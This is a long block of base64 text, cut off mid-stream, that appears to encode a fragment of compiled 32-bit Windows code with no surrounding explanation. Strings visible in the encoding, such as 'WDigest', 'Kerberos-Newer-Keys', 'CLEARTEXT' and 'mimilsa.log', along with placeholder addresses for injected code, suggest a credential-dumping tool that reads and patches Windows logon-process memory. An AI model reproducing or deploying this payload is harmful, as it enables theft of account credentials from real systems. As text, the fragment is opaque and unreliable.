a5tFkFEOgF////aHRVBBDoUg///zPbut0ACQBTU4vO6JT+//+DxBSLzoXAdAhfXlvpqAAAAFNTuoUACQDod/7//1lZhcB0DIvXi85fXlvpjgUAAF9eW8O4AAAAMDvId0V0PYPpAHQygekAAAAQdCSD6QF0GYHp////D3QLg+kBdT648F4FEMO41F4FEMO4oF4FEMO4hF4FEMO4aF4FEMO4JF8FEMOB6QEAADB0KoPpAXQfgen+//8PdBGD6QF0BrgshgQQw7iYXwUQw7h4XwUQw7hcXwUQw7g8XwUQw1FRVVZXaLhfBRCL8eh4Dv//aN0ACQCL1rngXwUQ6BD+//+L1scEJJACCQC5EGAFEOj9/f//M+2NRCQUVVC6LgEJAIvO6JL9//+DxBCFwHQci0QkDIsQi8roHf///1BSaEBgBRDoIA7//4PEDI1EJAy6CAAJAFVQi87oXf3//1lZhcB0RVOLXCQQ/zNoiGAFEOj0Df//WVmL/TPAi89A0+CFA3QT/zS9wEYEEGhErQQQ6NQN//9ZWUeD/yBy3Gjo8QQQ6MIN//9ZW41EJAy6nwAJAFVQi87oAP3//790VQQQWVmFwHQbaMhgBRDomQ3//4tMJBDoHj///1foig3//1lZjUQkDLpgAAkAVVCLzujI/P//WVmFwHQbaPhgBRDoZg3//4tMJBDo6z7//1foVw3//1lZjUQkDLqSAAkAVVCLzuiV/P//WVmFwA+EGgEAAGgoYQUQ6C8N//+LTCQQ6Ao///9X6CAN//9ZWf90JAz/FQixAxAPtgBIUP90JBD/FQSxAxCLOFdoWGEFEOj4DP//aJBhBRDo7gz//41EJBy6WgAJAFCNRCQci85Q6Cr8//+DxBSFwHQXi1QkEItMJAxVaPQ0BRBX6LP8//+DxAyNRCQQul4ACQBQjUQkEIvOUOj2+///WVmFwHQYi1QkEItMJAxqAWiwYQUQV+h//P//g8QMjUQkELo3AAkAUI1EJBCLzlDowvv//1lZhcB0F4tUJBCLTCQMVWgANQUQV+hM/P//g8QMjUQkELqgAAkAUI1EJBCLzlDoj/v//1lZhcB0GItUJBCLTCQMagFovGEFEFfoGPz//4PEDI1EJBC6fQAJAFCNRCQQi85Q6Fv7//9ZWV9eXYXAdBZoyGEFEOj2C///i0wkBIPEDOkDAAAAWVnDVYvsg+T4g+wgg2QkBACLwVNVVjPJiUQkIGY7SG6NWHBX6SoCAABmiwNmiUQkKmaJRCQojUMGiUQkLA+3Aw+3ewKDwAYDw9HviUQkHI1EJChQaABiBRDojAv//1lZV2pA/xWQsgMQi/CF9g+EvwEAADPthf90KotcJByNRCQgUGgUYgUQU+giwP//ikQkLIPEDIgELoPDAkU773Lei1wkGIstXLQDEI1EJChqAVBo7A0GEP/VhMAPhVABAABqAY1EJCxQaJQNBhD/1YTAD4U6AQAAagGNRCQsUGjwDgYQ/9WEwHREM/+AfgMAD4YtAQAAjW4QR1dofEoFEOjoCv//agBqEFqLzehCO///aHRVBBDo0gr//w+2RgODxBCDxRA7+HLQ6fUAAABqAY1EJCxQaPQNBhD/1YTAdEaLRgwDxlAPt0YI0ehQaJRKBRDolgr//w+3RgSNVhBoyEoFEFCLzui36f//D7dOBovQaOBKBRBRi87opOn//4PEHOmdAAAAagGNRCQsUGjcDQYQ/9WEwHRs/3YUi0YQA8ZQD7dGDNHoUGgASwUQ6DsK//8Pt0YEjVYYaMhKBRBQi87o5+n//w+3TgaL0GhsSwUQUYvO6NTp//8Pt04Ii9Bo4EoFEFGLzujB6f//D7dOCovQaJRLBRBRi87orun//4PEMOsfagGL14vO6EQ6//9Z6xFW0e9XaGhKBRDozQn//4PEDGh0VQQQ6MAJ//9ZVv8VmLIDEA+3QwIPtwuDwAaLVCQUA9iLRCQkQgPZiVQkFA+3QG470IlcJBgPgsz9//9fXl1bi+Vdw1WL7IPk+IPsLFNWV2ggYgUQi9qL+ehrCf//WY1EJBC6hQAJAFCNRCQYi89Q6Kb4//9ZWYXAD4SgAAAAi0QkEGaJRCQaZolEJBiLRCQUiUQkHI1EJBhQaGhiBRDoJQn//4s1PLQDEI1EJCBZWWoBUI1EJDBQ/9aFwHhhU41EJDRQ/xVYtAMQagGNRCQ0UI1EJChQ/9aLNWS0AxCFwHg2jUQkKLqBAAkAUI1EJCSLz1DoLgAAAI1EJDC6hwAJAFCNRCQsi89Q6BgAAACDxBCNRCQgUP/WjUQkKFD/1l9eW4vlXcOD7AyNRCQIU1VWV1CNRCQYi/JQ6N33//9ZWYXAdGqB/oEACQB1FIt8JCC4ME4FEItcJCS9SE4FEOsSi3wkJLg8TgUQi1wkIL1UTgUQi3QkFIM+AHQzi04Ehcl0E1NXUI0EMTPSUDPJ6Hno//+DxBCLRgiFwHQSU1cDxjPSVVAzyehg6P//g8QQX15dW4PEDMNVi+yB7FQBAABWV4Nl+ADHhaz+//9DAEwAx4Ww/v//RQBBAMeFtP7//1IAVADHhbj+//9FAFgAx4W8/v//VAAAADPAjb3A/v//q6urq6vHhdT+//9XAEQAx4XY/v//aQBnAMeF3P7//2UAcwDHheD+//90AAAAagZZM8CNveT+///zq8eF/P7//0sAZQDHhQD///9yAGIAx4UE////ZQByAMeFCP///28AcwCDpQz///8AM8CNvRD///+rq6urq8eFJP///0sAZQDHhSj///9yAGIAx4Us////ZQByAMeFMP///28AcwDHhTT///8tAE4Ax4U4////ZQB3AMeFPP///2UAcgDHhUD///8tAEsAx4VE////ZQB5AMeFSP///3MAAABqElhmiUXEahJYZolFxo2FrP7//4lFyGoOWGaJRcxqDlhmiUXOjYXU/v//iUXQahBYZolF1GoQWGaJRdaNhfz+//+JRdhqJlhmiUXcaiZYZolF3o2FJP///4lF4GoBaAAAABCNReRQagC4QUFBQf/QhcAPjLYCAACNRehQagW4SEhISP/QhcAPjJYCAACNRexQi0Xo/3AIaAAAABD/deS4RERERP/QhcAPjGkCAACNRfRQi0UI/3AYaAAAABD/dey4RUVFRf/QhcAPjD0CAACDZfwA6weLRfxAiUX8g338BQ+D5AAAAGtF/BiDpAVg////AGtF/BiDpAVQ////AGtF/BiLTfyJjAVM////a0X8GMeEBVz///+AAAAAg338AHQ3a0X8GI2EBVD///9Qa0X8GI2EBWD///9Qi0X8jUTFvFD/dfS4Q0NDQ//Qa038GImEDVz////rMmtF/BjHhAVQ////JAAAAGtF/BiNhAVg////UGoS/3X0uEZGRkb/0GtN/BiJhA1c////a0X8GIO8BVz///8AfC1rRfwYg7wFYP///wB0H2tF/BiDvAVQ////AHQRa0X8GItN+AOMBVD///+JTfjpC////4tF+IPAWItNCIlBDGoEaAAwAACLRQj/cAxqALhKSkpK/9CJRfCLRQiLTfCJSBCDffAAD4T/AAAAg2X4AItFCItAEMcABQAAAINl/A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